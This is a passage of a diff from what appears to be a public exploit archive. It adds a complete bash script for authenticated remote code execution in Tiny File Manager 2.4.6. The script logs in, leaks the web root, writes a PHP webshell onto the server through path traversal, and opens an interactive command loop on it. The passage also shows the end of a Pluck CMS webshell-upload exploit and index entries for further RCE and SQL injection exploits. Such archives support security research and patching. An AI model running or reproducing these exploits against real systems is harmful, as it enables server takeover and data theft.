link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall'
|
||||
upload = requests.post(link_upload, headers=header1, data=data)
|
||||
|
||||
|
||||
'''
|
||||
Finish:
|
||||
'''
|
||||
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/data/themes/shell/shell.php')
|
||||
print('')
|
140
exploits/php/webapps/50828.sh
Executable file
140
exploits/php/webapps/50828.sh
Executable file
|
@ -0,0 +1,140 @@
|
|||
# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
|
||||
# Date: 14/03/2022
|
||||
# Exploit Author: FEBIN MON SAJI
|
||||
# Software Link: https://github.com/prasathmani/tinyfilemanager
|
||||
# Version: Tiny File Manager <= 2.4.6
|
||||
# Tested on: Ubuntu 20.04
|
||||
# CVE : CVE-2021-40964
|
||||
# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
check(){
|
||||
|
||||
which curl
|
||||
if [ $? = 0 ]
|
||||
then
|
||||
printf "[✔] Curl found! \n"
|
||||
else
|
||||
printf "[❌] Curl not found! \n"
|
||||
exit
|
||||
fi
|
||||
|
||||
which jq
|
||||
if [ $? = 0 ]
|
||||
then
|
||||
printf "[✔] jq found! \n"
|
||||
else
|
||||
printf "[❌] jq not found! \n"
|
||||
exit
|
||||
fi
|
||||
}
|
||||
usage(){
|
||||
|
||||
printf "
|
||||
TIny File Manager Authenticated RCE Exploit.
|
||||
|
||||
By FEBIN
|
||||
|
||||
$0 <URL> <Admin Username> <Password>
|
||||
|
||||
Example: $0 http://files.ubuntu.local/index.php admin \"admin@123\"
|
||||
|
||||
"
|
||||
}
|
||||
|
||||
log-in(){
|
||||
URL=$1
|
||||
admin=$2
|
||||
pass=$3
|
||||
cookie=$(curl "$URL" -X POST -s -d "fm_usr=$admin&fm_pwd=$pass" -i | grep "Set-Cookie: " | sed s/"Set-Cookie: "//g | tr -d " " | tr ";" "\n" | head -1)
|
||||
|
||||
if [ $cookie ]
|
||||
then
|
||||
printf "\n[+] Login Success! Cookie: $cookie \n"
|
||||
else
|
||||
printf "\n[-] Logn Failed! \n"
|
||||
fi
|
||||
|
||||
URL=${URL}
|
||||
}
|
||||
|
||||
find_webroot(){
|
||||
|
||||
|
||||
webroot=$(curl -X POST "$URL?p=&upload" -d "type=upload&uploadurl=http://vyvyuytcuytcuycuytuy/&ajax=true" -H "Cookie: $cookie" -s | jq | grep file | tr -d '"' | tr -d "," | tr -d " " | sed s/"file:"//g | tr "/" "\n" | head --lines=-1 | tr "\n" "/" )
|
||||
|
||||
|
||||
if [ $webroot ]
|
||||
then
|
||||
printf "\n[*] Try to Leak Web root directory path \n\n"
|
||||
printf "[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \n\n"
|
||||
else
|
||||
printf "[-] Can't find WEBROOT! Using default /var/www/html \n"
|
||||
webroot="/var/www/html"
|
||||
fi
|
||||
}
|
||||
|
||||
upload(){
|
||||
|
||||
#webroot="/var/www/tiny/"
|
||||
shell="shell$RANDOM.php"
|
||||
echo "<?php system(\$_REQUEST['cmd']); ?>" > /tmp/$shell
|
||||
|
||||
|
||||
|
||||
curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful"
|
||||
|
||||
|
||||
}
|
||||
|
||||
exploit(){
|
||||
|
||||
WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/")
|
||||
|
||||
upload
|
||||
|
||||
|
||||
if [ $? = 0 ]
|
||||
then
|
||||
printf "[+] File Upload Successful! \n"
|
||||
else
|
||||
printf "[-] File Upload Unsuccessful! Exiting! \n"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
printf "[+] Checking for the shell \n"
|
||||
|
||||
|
||||
curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null
|
||||
if [ $? = 0 ]
|
||||
then
|
||||
printf "[+] Shell found ${WEB_URL}/$shell \n"
|
||||
else
|
||||
printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
printf "[+] Getting shell access! \n\n"
|
||||
|
||||
while true
|
||||
do
|
||||
printf "$> "
|
||||
read cmd
|
||||
curl ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}"
|
||||
done
|
||||
}
|
||||
|
||||
if [ $1 ] && [ $2 ] && [ $3 ]
|
||||
then
|
||||
check
|
||||
log-in $1 $2 $3
|
||||
|
||||
find_webroot
|
||||
|
||||
|
||||
exploit
|
||||
else
|
||||
usage
|
||||
fi
|
|
@ -18649,6 +18649,8 @@ id,file,description,date,author,type,platform,port
|
|||
50798,exploits/windows/remote/50798.cs,"Printix Client 1.3.1106.0 - Remote Code Execution (RCE)",1970-01-01,"Logan Latvala",remote,windows,
|
||||
50821,exploits/hardware/remote/50821.py,"Seowon SLR-120 Router - Remote Code Execution (Unauthenticated)",1970-01-01,"Aryan Chehreghani",remote,hardware,
|
||||
50822,exploits/multiple/remote/50822.txt,"Tdarr 2.00.15 - Command Injection",1970-01-01,"Sam Smith",remote,multiple,
|
||||
50827,exploits/hardware/remote/50827.txt,"Hikvision IP Camera - Backdoor",1970-01-01,"Sobhan Mahmoodi",remote,hardware,
|
||||
50829,exploits/multiple/remote/50829.py,"Apache APISIX 2.12.1 - Remote Code Execution (RCE)",1970-01-01,Ven3xy,remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php,
|
||||
|
@ -44893,3 +44895,6 @@ id,file,description,date,author,type,platform,port
|
|||
50809,exploits/linux/webapps/50809.py,"Webmin 1.984 - Remote Code Execution (Authenticated)",1970-01-01,faisalfs10x,webapps,linux,
|
||||
50816,exploits/php/webapps/50816.py,"Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Hussien Misbah",webapps,php,
|
||||
50823,exploits/multiple/webapps/50823.txt,"Baixar GLPI Project 9.4.6 - SQLi",1970-01-01,"Prof. Joas Antonio",webapps,multiple,
|
||||
50825,exploits/php/webapps/50825.py,"Moodle 3.11.5 - SQLi (Authenticated)",1970-01-01,"Chris Anastasio",webapps,php,
|
||||
50826,exploits/php/webapps/50826.py,"Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Ashish Koli",webapps,php,
|
||||
50828,exploits/php/webapps/50828.sh,"Tiny File Manager 2.4.6 - Remote Code Execution (RCE)",1970-01-01,"FEBIN MON SAJI",webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue